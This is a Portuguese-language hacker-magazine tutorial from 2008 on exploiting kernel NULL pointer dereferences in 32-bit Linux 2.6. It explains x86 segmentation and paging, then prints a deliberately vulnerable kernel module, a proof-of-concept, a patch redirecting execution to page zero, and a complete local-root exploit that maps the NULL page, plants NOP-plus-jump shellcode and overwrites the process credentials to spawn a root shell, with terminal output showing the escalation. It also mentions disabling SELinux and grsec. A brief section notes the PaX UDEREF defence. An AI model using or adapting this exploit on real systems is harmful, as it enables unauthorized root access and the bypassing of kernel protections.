[ --- The Bug! Magazine _____ _ ___ _ /__ \ |__ ___ / __\_ _ __ _ / \ / /\/ '_ \ / _ \ /__\// | | |/ _` |/ / / / | | | | __/ / \/ \ |_| | (_| /\_/ \/ |_| |_|\___| \_____/\__,_|\__, \/ |___/ [ M . A . G . A . Z . I . N . E ] [ Numero 0x03 <---> Edicao 0x01 <---> Artigo 0x03 ] .> 05 de Maio de 2008, .> The Bug! Magazine < staff [at] thebugmagazine [dot] org > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Introducao a exploitacao de kernel NULL PTR dereferences +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ .> 03 de Junho de 2007 .> frangossauro < frangossauro [at] 0xbadc0ffe [dot] org > [ --- Indice + 1. <---> Objetivos e requisitos + 2. <---> Introducao + 3. <---> Null pointer dereferences + 4. <---> PORQUE funciona em kernel-land? + 4.1 <-> Segmentacao + 4.2 <-> Paginacao + 4.3 <-> Resumindo + 5. <---> Exploitando + 5.1 <-> Esqueleto do exploit + 5.2 <-> Modulo vulneravel + 5.3 <-> Exploit + 5.4 <-> Informacoes uteis ao se exploitar + 6. <---> Protecao + 7. <---> Conclusao + 8. <---> Referencia + 9. <---> Agradecimentos + 10. <---> Errata e outros comentarios, por BSDaemon [ --- 1. Objetivos e requisitos. Este artigo visa mostrar que 'null pointer dereference' em kernel-land sao (em alguns casos), exploitaveis. O foco sera' na arquitetura x86 32 bits e Linux 2.6. Conhecimento em C, asm x86 (basico), paginacao e segmentacao do x86 sao necessarios. O modelo de segmentacao e paginacao utilizado no Linux sera' brevemente descrito. [ --- 2. Introducao A medida que programadores se tornam conscientes, se torna mais e mais raro bugs como buffer overflow, format strings e integer overflows. Um dos bugs mais comuns em kernel-land sao 'null ptr dereference', e comumente se acredita que o maximo que se pode causar com essa classe de bugs e' DoS. Isso e' verdadeiro para a maioria destes bugs em userland, porem nao em kernel-land. Ilja, na 23C3 [1], publicou a tecnica, e demonstrou que o con- ceito nao e' puramente teorico. Spender [2] publicou em 3 de marco de 2007, o primeiro exploit publico para Linux. Me baseei no exploit do spender, e veremos que teoricamente e' extremamente simples exploitar 'null ptr dereference', ganhando controle sobre o ring 0. [ --- 3. Null pointer dereference Null pointer dereference sao uma classe de bugs um tanto comum. Acontece quando o programa tenta ler/escrever/executar codigo em um endereco NULL (0x00). A principal causa e' a falta de checagem de codigos de retorno, e seu posterior uso. Iremos ilustrar: --- snip --- char *new_text = malloc( sizeof(char) * BUF_SIZE+1); memcpy(new_text, old_text, strlen(old_text)+1); --- snip --- Malloc retorna um ponteiro para um bloco alocado. Devido ao fato de malloc raramente falhar, muitos programadores simplesmente esquecem de verificar se a operacao teve sucesso ou nao. Entretanto, quando nao se tem memoria disponivel, malloc falha e sinaliza isso retornando NULL. O nosso programa nao detecta a falha no malloc, e tenta prosseguir normalmente, copiando x bytes para NULL. O esperado e' que ele simplesmente trave (o que ira ocorrer). Acontece que a pagina NULL e' um endereco perfeitamene valido, e se a pagina NULL estiver mapeada, o programa nao trava. Para mapearmos a pagina NULL, basta pedirmos: --- snip --- char *ptr = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE, 0, 0); char *new_text = malloc( sizeof(char) * BUF_SIZE+1); memcpy(new_text, old_text, strlen(old_text)+1); --- snip --- O argumento MAP_FIXED pede para o sistema operacional nos dar exatamente aquele endereco, ou falhar. Assim garantimos que temos a pagina 0, em vez de outro endereco qualquer. Para se exploitar, devemos encontrar um jeito de mapear a pagina NULL, de modo que seja visivel para o PROCESSO ou para kernel. Em user-land, nos necessitamos mapear dentro do espaco do processo, o que 'impossibilita' a exploitacao. "Impossibilita", porque alguns casos, nao necessitamos mapear a pagina NULL, como NULL + offset, onde offset o atacante pode controlar (em maior ou menor grau). Em outros, TEORICAMENTE [3] podemos forcar a aplicacao a reservar muita memoria ate' que a pagina NULL seja atingida. Ja' em kernel-land, deixar a pagina NULL visivel pro kernel e' extremamente simples e plausivel de ser feito. Um processo de usuario pode mapear a pagina NULL de modo que seja visivel pro kernel. [ --- 4. PORQUE funciona em kernel-land? Antes de prosseguirmos, gostaria de explicar o PORQUE de funcionar em kernel-land. Nao tenho a intencao de fazer um guia da mm do Linux, mas sim mencionar o que e' interessante para um atacante. Tambem nao explicarei como o kernel obtem a pgd, pmd e pte, pois nao nos interessa, e esta descrito em [6] e [7]. [ --- 4.1 Segmentacao O modelo de segmentacao do Linux (2.4 e 2.6) possui 4 descriptores de segmentos interessantes para nos: __KERNEL_CS: Base: 0x00000000 Limit: 0xffffffff Type: 0xa /* Pode ser lido e executado */ DPL: 0 /* Ring 0 */ __KERNEL_DS: Base: 0x00000000 Limit: 0xffffffff Type: 0x2 /* Pode ser lido e escrito */ dpl: 0 /* Ring 0 */ __USER_CS: Base: 0x00000000 Limit: 0xffffffff Type: 0xa /* Pode ser lido e escrito */ DPL: 3 /* Ring 3 */ __USER_DS: Base: 0x00000000 Limit: 0xffffffff Type: 0x2 /* Pode ser lido e escrito */ DPL: 3 /* Ring 3 */ __KERNEL_* e __USER_* sao iguais, exceto pelo privilegio de cada um. O que isso nos diz e' que a memoria e' 'reta' e todos podem acessar os 4gb da memoria virtual. O Linux, por razoes de compatibilidade com outras plata- formas, nao protege a memoria no nivel de segmentacao, e' puramente na logica de paginacao. Pela base dos segmentos serem iguais, converter em kernel-land o endereco NULL em endereco linear dara' exatamente a mesma coisa que converter o endereco NULL em userland. Ou seja, o kernel pode referenciar diretamente um ponteiro que cai no espaco de enderecamento do seu processo, sem fazer nenhum tipo de conversao :) Lembrando que o kernel fica em 3gb para cima, e o espaco de usuario abaixo disso ate' a NULL page. Ou seja, quando o kernel dereferenciar uma NULL page, ele vai estar acessando o espaco de enderecamento do usuario (que e' controlado pelo usuario). [ --- 4.2 Paginacao A paginacao do Linux funciona com tres niveis de paginas, poooooorem, como eu nao uso 64 bits, irei descrever o modelo com 2 niveis. O Linux usa o modelo de 2 niveis se voce nao o compilar com suporte a 'High Memory Support - 64 gb'. 1. pgd - Page global directory. Caso a pmd nao seja 1 (ou seja, 64 gigas), entao cada entrada aponta pra uma pmd. Nao e' nosso caso, entao age como a pmd e aponta pra 1 entrada em pte. 2. pmd - Page middle directory. pmd vai ser 1, desabilitando o suporte a 64gb de memoria (2 niveis). Caso nao seja, ela aponta pra 1 entrada em pte (3 niveis) 3. pte - Page table entry. Cada entrada contem um ponteiro para uma page frame (endereco fisico) Cada processo no Linux contem suas proprias pgd's, pmd's e pte. Para o Linux transferir dados do espaco do usuario do seu programa para o kernel (ou vice versa) [copy_from/to_user], ele simplesmente acessa a memoria (lembre que eles estao com sua pgd do seu processo carregada em %cr3) e caso der um page-fault, ele faz toda a 'magic chicken dance' pra carregar a pagina do disco. Se quisermos exploitar teremos que ter certeza que nossa pgd esta' carregada em %cr3. Se estiver carregada a pgd de outro processo, nao teremos como garantir que o kernel ira referenciar um endereco valido, e provavelmente vai ocorrer um OOPS (ou pior). Isso diminui a gama do que pode ser exploitavel, mas acredito que sabendo como o scheduler funciona, voce consiga exploitar em outros casos. Voce tambem poderia criar milhoes de processos, e esperar que, por probabilidade, o seu processo seja o que esta' tomando o processador. Felizmente, em muitos casos voce nem necessita se preocupar com isso :) [ --- 4.3 Resumindo 0x00____________________________________________0xc0______________________0xff | | | | USERLAND | KERNEL-LAND | |_______________________________________________|_________________________| | | | (1) | (1) | | V V [x] [x] | | | (2) | (2) | | V V [process_pgd]->[pte]->page_frame [process_pgd]->[pte]->page_frame 1. Pela segmentacao, acessar a NULL page em kernel-land ou user-land dara' o mesmo endereco linear 'x'. 2. Na paginacao, se process_pgd for o mesmo para ambos, teremos a mesma page frame. 3. Logo, podemos prever qual NULL page o kernel ira referenciar. A NULL page fica sobre o espaco do usuario, e portanto, passivel de manipulacao por parte do seu processo. [ --- 5. Exploitando Para exploitar, irei criar um modulo dummy. Eu sei que e' extremamente frustrante exploitar algo criado exatamente pra isso, mas devido a facilidade e economia de tempo, e' o que farei. [ --- 5.1 Esqueleto do exploit Se eu consigo controlar um ponteiro do kernel, por qualquer metodo, e fazer ele apontar pro meu proprio endereco virtual, ele ira acessar. Como vimos, temos que garantir que nossa pgd esteja carregada, ou em outras palavras, nosso processo esteja rodando. Portanto, os passos basicos do seu exploit deve ser: 1. Criar novo processo, mapeando o endereco NULL 2. Colocar o payload que quebre o kernel na NULL PAGE e o seu shellcode. 3. Ter certeza que na hora que ativar o bug, seu processo estara' rodando. 4. Owned! Isso nao quer dizer que voce pode exploitar e ganhar ring 0 so' porque o kernel, leu x bytes do endereco NULL. Apenas quer dizer que voce pode colocar informacoes na pagina NULL de forma que seja acessivel quando o kernel dereferenciar. A partir dai, apenas estudando cada bug pra conseguir executar codigo, ler informacoes criticas e etc. Mais informacoes estao em [4]. [ --- 5.2 Modulo vulneravel Segue o LKM vulneravel, testado apenas em Linux 2.6. ---sys_nullbug.c--- #include #include #include #include #include #define __KERNEL_SYSCALLS__ #include #include #define __NR_SYS_NULLBUG 223 #define MAGIC_NUMBER 1337 asmlinkage long (*original_call)(void); void **sys_call_table; void get_sct(void); /* Get sys_call_table in 2.6 * Sorry for the identation (maximum width of 79) */ void get_sct(){ unsigned long *ptr; ptr = (unsigned long *)((init_mm.end_code + 4) & 0xfffffffc); while((unsigned long ) ptr < (unsigned long)init_mm.end_data) { if ((unsigned long *)*ptr == (unsigned long *)sys_close) { if((unsigned long*)*((ptr-__NR_close)+__NR_read)==(unsigned long*)sys_read && *((ptr-__NR_close)+__NR_open) == (unsigned long) sys_open ) { sys_call_table = (void **) ((unsigned long *)(ptr-__NR_close)); break; } } ptr++; } } asmlinkage int nullbug_syscall_entry(int x ){ if( x == MAGIC_NUMBER){ unsigned long *ptr = NULL; printk( KERN_INFO "NULLBUG: %x\n", ptr); return 1; } return x; } static int __init nullbug_init(void){ get_sct(); original_call = (long (*))(sys_call_table[__NR_SYS_NULLBUG]); sys_call_table[__NR_SYS_NULLBUG] = (unsigned long) nullbug_syscall_entry; return 1; } static void __exit nullbug_exit(void){ sys_call_table[__NR_SYS_NULLBUG] = original_call; return; } module_init( nullbug_init ); module_exit( nullbug_exit ); ---sys-nullbug.c--- Nos implementamos uma syscall para nao quebrar nada, e tambem porque na chamada da syscall, a task_struct carregada e' a do processo que a chamou. Escolhi a 223 pois e' uma que nao esta sendo utilizada no meu computador (Linux 2.6.20r2), mas voce pode escolher qualquer uma. De uma olhada em /usr/include/Linux/include/asm/unistd.h A partir do kernel versao 2.6, a sys_call_table nao e' mais exportada, entao temos que criar uma funcao pra fazer o trabalho por nos. Poderia ter usado o metodo descrito na Phrack 58-0x07, mas tanto faz, use o que voce preferir. A syscall bugada apenas retorna o valor que voce inputou pra ela. Caso seja o numero magico, ela tenta ler da pagina NULL, e retorna 1. Compile-a e insira o modulo pra continuarmos. [ --- 5.3 Exploit Prosseguindo, nosso modulo esta' funcionando, agora falta ao menos um exploit pra provar que ele esta' lendo da pagina NULL que controlamos: ---exploit.c--- #include #include #include #include #include #include #define __NR_sys_nullbug 223 _syscall1(int, sys_nullbug, int, x); #define PAGE_SIZE 4096 int main(int argc, char *argv[]){ char pipebuf[4]; void *ptr = 0x01; /* badc0ffe */ pipebuf[0] = 0xfe; pipebuf[1] = 0x0f; pipebuf[2] = 0xdc; pipebuf[3] = 0xba; ptr = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (ptr != NULL) { perror("mmap"); return 1; } memcpy(ptr, &pipebuf, sizeof(pipebuf)); int i = sys_nullbug( atoi(argv[1]) ); printf("Valor retornado %d\n",i); return 0; } ---exploit.c--- Entao, vamos compilar e executar. Se tudo der certo, nosso kernel ira imprimir 'badc0ffe'. --- snip --- chicken@kepperank ~/hack/nullbugs $ gcc exploit.c -o test chicken@kepperank ~/hack/nullbugs $ ./test 123 Valor retornado 123 chicken@kepperank ~/hack/nullbugs $ ./test 1337 Valor retornado 1 chicken@kepperank ~/hack/nullbugs $ su ... root@kepperank ~/hack/nullbugs # tail -10 /var/log/kern.log ... May 24 15:34:58 kepperank NULLBUG: badc0ffe root@kepperank ~/hack/nullbugs # --- snip --- E e' isso, cara, apenas isso. Conseguimos fazer o kernel ler a nossa pagina de usuario, e realmente e' _muito_ simples. Note que nos logs, o kernel nao travou e nao exibiu nenhuma mensagem de erro :). Pra continuar, irei escrever outro modulo, que redirecionara' o EIP pra nossa pagina NULL. --- snip --- chicken@kepperank ~/hack/nullbugs $ cat go_eip.patch --- sys-nullbug.c 2007-05-24 16:08:29.000000000 -0300 +++ sys-nullbug.c 2007-05-24 16:06:59.000000000 -0300 @@ -44,8 +44,8 @@ asmlinkage int nullbug_syscall_entry(int x ){ if( x == MAGIC_NUMBER){ - unsigned long *ptr = NULL; - printk( "%x\n", *ptr ); + unsigned long (*ptr)() = ((unsigned long *) NULL); + ptr(); return 1; } chicken@kepperank ~/hack/nullbugs $ patch -p0 < go_eip.patch patching file sys-nullbug.c chicken@kepperank ~/hack/nullbugs $ make ... chicken@kepperank ~/hack/nullbugs $ su ... root@kepperank ~/hack/nullbugs # rmmod sys-nullbug.ko root@kepperank ~/hack/nullbugs # insmod sys-nullbug.ko root@kepperank ~/hack/nullbugs # exit --- snip --- E agora nosso local root. --- local-root.c --- #include #include #include #include #include #include #include #include #include #include #define __NR_sys_nullbug 223 _syscall1(int, sys_nullbug, int, x); #define PAGE_SIZE 4096 /* Taken from arch/i386/lib/getuser.S */ inline unsigned int get_current(void){ asm("movl $0xffffe000, %eax;" "andl %esp, %eax;" "movl (%eax),%eax;"); } unsigned int proccess_uid; /* x will have this shellcode: * * \x90\x90\x90\x90... * mov &y, %eax * jmp *%eax */ #define BUILD_SHELLCODE(x,y,len) \ unsigned long fuck_address = (unsigned long) &y; \ memset( x, 0x90, len-8); \ x[len-8] = '\xb8'; \ memcpy( &x[len-7], &fuck_address, 4); \ x[len-3] = '\xff'; \ x[len-2] = '\xe0'; \ x[len-1] = '\x90' /* Our Local root * Just borrowed from spender exploit */ void own_the_kernel(void){ unsigned int *current; unsigned int orig_current; current = (unsigned int *)get_current(); orig_current = (unsigned int)current; /* Transverse all that address until we found our kernel struct * that has our proccess uid and pid */ while (((unsigned int)current < (orig_current + 0x1000)) && (current[0] != proccess_uid || current[1] != proccess_uid || current[2] != proccess_uid || current[3] != proccess_uid)) current++; if ((unsigned int)current >= (orig_current + 0x1000)) return; /* Now change it for 0, root privileges :D */ current[0] = current[1] = current[2] = current[3] = 0; current[4] = current[5] = current[6] = current[7] = 0; execve("/bin/sh",NULL,NULL); } int main(int argc, char *argv[]){ void *ptr = 0x01; proccess_uid = getuid(); /* Our shellcode, fill with nops and do a jump for our */ /* evil function */ char *shellcode = malloc( PAGE_SIZE ); BUILD_SHELLCODE( shellcode , own_the_kernel, PAGE_SIZE ); /* don't need PROT_EXEC since the kernel is execing it */ ptr = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (ptr != NULL) { perror("mmap"); return 1; } memcpy(ptr, shellcode, PAGE_SIZE ); int i = sys_nullbug( atoi(argv[1]) ); printf("Valor retornado %d\n",i); } --- local-root.c --- Explicando mais a fundo o exploit, nos usamos a velhissima (mas ainda efetiva) tecnica de NOPS + SHELLCODE. O kernel ira apontar para NULL page, caira em nossa pagina, e enfim chegara ao nosso shellcode. Nosso shellcode apenas pula para uma funcao dentro do nosso processo :) 0x00__________________0x804______________________0xc0___________________0xff | USERLAND | KERNEL-LAND | |-----------------------------------------------+-----------------------| | | | |[ NOPS+SHELLCODE ] [ Binario ] [ HEAP ] [STACK] | KERNEL | |__________________________________________________|____________________| ^ |(2) ^ | (1) | `--------------' | `------------------------------------------------------------+ 1. Kernel faz jump pra NULL page e encontra nosso NOPS+shellcode 2. Nosso shellcode faz jump pra funcao own_the_kernel Nossa funcao own_the_kernel esta sendo executada pelo kernel, e tem acesso a todo o espaco de enderecamento possivel. Podemos modificar qualquer estrutura que esta em kernel-land. Por praticidade, alteramos apenas a uid/gid do processo, e executamos syscalls que fazem o trabalho por nos. Nao podemos apenas executar uma syscall a partir da kernel-land, e esperar que ganhamos root. A macro GET_CURRENT (arch/i386/kernel/entry.S) faz o trabalho de carregar a task_struct atual. As syscalls olham essa task_struct para implementar corretamente as protecoes necessarias. Por isso que e' necessario alterar o uid/gid do processo :P --- snip --- chicken@kepperank ~/hack/nullbugs $ gcc exploit.c -o expl exploit.c: In function `main': exploit.c:72:warning: initialization makes pointer from integer without a cast chicken@kepperank ~/hack/nullbugs $ whoami chicken chicken@kepperank ~/hack/nullbugs $ ./expl 1337 root@kepperank nullbugs # whoami root --- snip --- Heh, and now you are owned :D [ --- 5.4 Informacoes uteis ao se exploitar Destacaremos algumas informacoes uteis exploitacao: 1. Lembre-se que em 99% dos casos voce nao tera o eip apontando pra null page. Mas isso nao quer dizer que nao pode ser exploitavel, mas sim que voce tera um trabalho infernal :P 2. Podemos colocar o endereco de uma funcao do nosso exploit. Isso permite criarmos exploits puramente em C, e ASLR realmente nao influencia nesse caso. 3. Nao temos limite de espaco para o nosso exploit. Basta alocarmos o quanto quisermos antes de causar a dereferencia. Por causa disso, tambem conseguimos usar NOPS+Shellcode, e podemos usar quando nao sabemos exatamente o endereco de retorno :) 4. Podemos fazer patch on the fly no kernel, desabilitar grsec, SELinux etc. O mais comum e pratico e' voce apenas mudar seu uid/gid e usar execve. 5. Lembre-se que quando o kernel referenciar a pagina do seu processo, voce vai estar executando codigo a partir da kernel-land. Porem,se voce usar uma syscall(mesmo em kernel-land), o processo ativo continua sendo o seu. 6. Leia o paper da Phrack. [4] [ --- 6. Protegendo Para se proteger, os sys-admins podem usar o PaX com UDEREF. Antes mesmo do Ilja publicar a tecnica, o PaX ja tinha a solucao implementada. Talvez isso nos mostra que a comunidade de seguranca esteja em compasso com a comunidade de inseguranca (ao menos no que diz respeito aos nao-0-day). Para uma explicacao do funcionando do UDEREF referencia [5]. [ --- 7. Conclusao Vimos que NULL pointer dereferences podem ser exploitados, e e' relativamente facil. Tambem vimos que nao basta o BUG referenciar a NULL page pra ser exploitavel, depende de alguns fatores e tambem da inteligencia do atacante em fazer uma gambiarra com o que se tem (mas e' nisto que os hackers sao bons :P) No momento que escrevia, nao tinha nenhum paper que tratava do assunto (ao menos eu nao encontrei). Atualmente(hoje - 3 de Junho), na Phrack 64 existe um paper muito mais completo de exploitacao, com exploits reais e ataques mais praticos e menos teoricos. Aos que querem se aventurar em exploitar, recomendo que veja o changelog do Linux, e se surpreendam com a quantidade de null ptr dereferences. Metodos para desabilitar o seLinux esta descrito em [2], e voce pode usar muito do que ja foi feito em rootkits em kmem para desabiltar protecoes do kernel, ou implementar rootkits direto no exploit. Infelizmente nao tinha muito tempo pra escrever, e nem para demonstrar um exploit real(ainda estou trabalhando) por isso ficou meio inacabado. Mas ao menos espero que a comunidade brasileira tenha informacoes em pt_br sobre essa tecnica (relativamente nova...) [ --- 8. Referencias [1] Ilja - Unusual bugs. http://ilja.netric.org/files/Unusual%20bugs%2023c3.pdf http://chaosradio.ccc.de/23c3_m4v_1456.html [2] Brad Spengler(spender) - First public exploit. [que eu saiba] http://list.immunitysec.com/pipermail/dailydave/2007-March/004133.html http://grsecurity.net/~spender/exploit.tgz [3] Gael Delalleau - Large memory management vulnerabilities. http://cansecwest.com/core05/memory_vulns_delalleau.pdf [4] Sgrakkyu and Twizz - Attacking the Core : Kernel Exploitation Notes. http://phrack.org/issues.html?issue=64&id=6#article [5] Pax Team - UDEREF Explanation. http://grsecurity.net/~spender/uderef.txt [6] Ibm - Linux memory model. http://www.ibm.com/developerworks/Linux/library/l-memmod/ [7] Karthikeyan Raghuraman - An overview off mm in Linux whatisthekernel.blogspot.com/2005/01/memory-management-in-Linux-kernel.html [ --- 9. Agradecimentos Ao pessoal do #social (irc.pulltheplug.org), 0xbadc0ffe e rfdslabs. Em especial, stpaul, acassis (por me responder algumas perguntas) e wseiki (por servir de cobaia). [ --- 10. Errata e outros comentarios, por BSDaemon - O autor apenas fala de null pointer dereference ou ponteiro controlado pelo atacante, mas pode ser qualquer offset fixo + controlado pelo atacante. De fato o bug mostrado pelo Spender e' um 7th dword dereference - A parte onde ele fala da segmentacao e da localizacao do kernel deixou a desejar, precisa ser mais caprichado. Lembrando que ele disse que o Linux funciona assim para compatibilidade com outras arquiteturas, o que e' correto, mas apenas a partir do kernel 2.4 (o 2.2 tinha segmentacao) - A explicacao da parte de paginacao tem alguns erros teoricos, lembrando que nao se deve focar um texto em um arquitetura a menos que nao tenha-se outra opcao, o que nao e' o caso. Se for para focar quando o kernel carrega o %cr3 em arquiteturas Intel temos automaticamente um flush da TLB - Outra coisa ele dizer que nao pode executar uma syscall a partir da kernel-land para ganhar root nao e' totalmente correto. Voce pode muito bem patchear todo o kernel com seu rootkit e nem sequer ligar para ganhar root, ja' que o kernel executaria os comandos pra voce com a usermode_helper que mostrei na palestra da Defcon - O Ilja nao foi o primeiro a divulgar a tecnica. O exploit do Spender nao e' o primeiro publico para null pointer... e' o primeiro que desativa o SELinux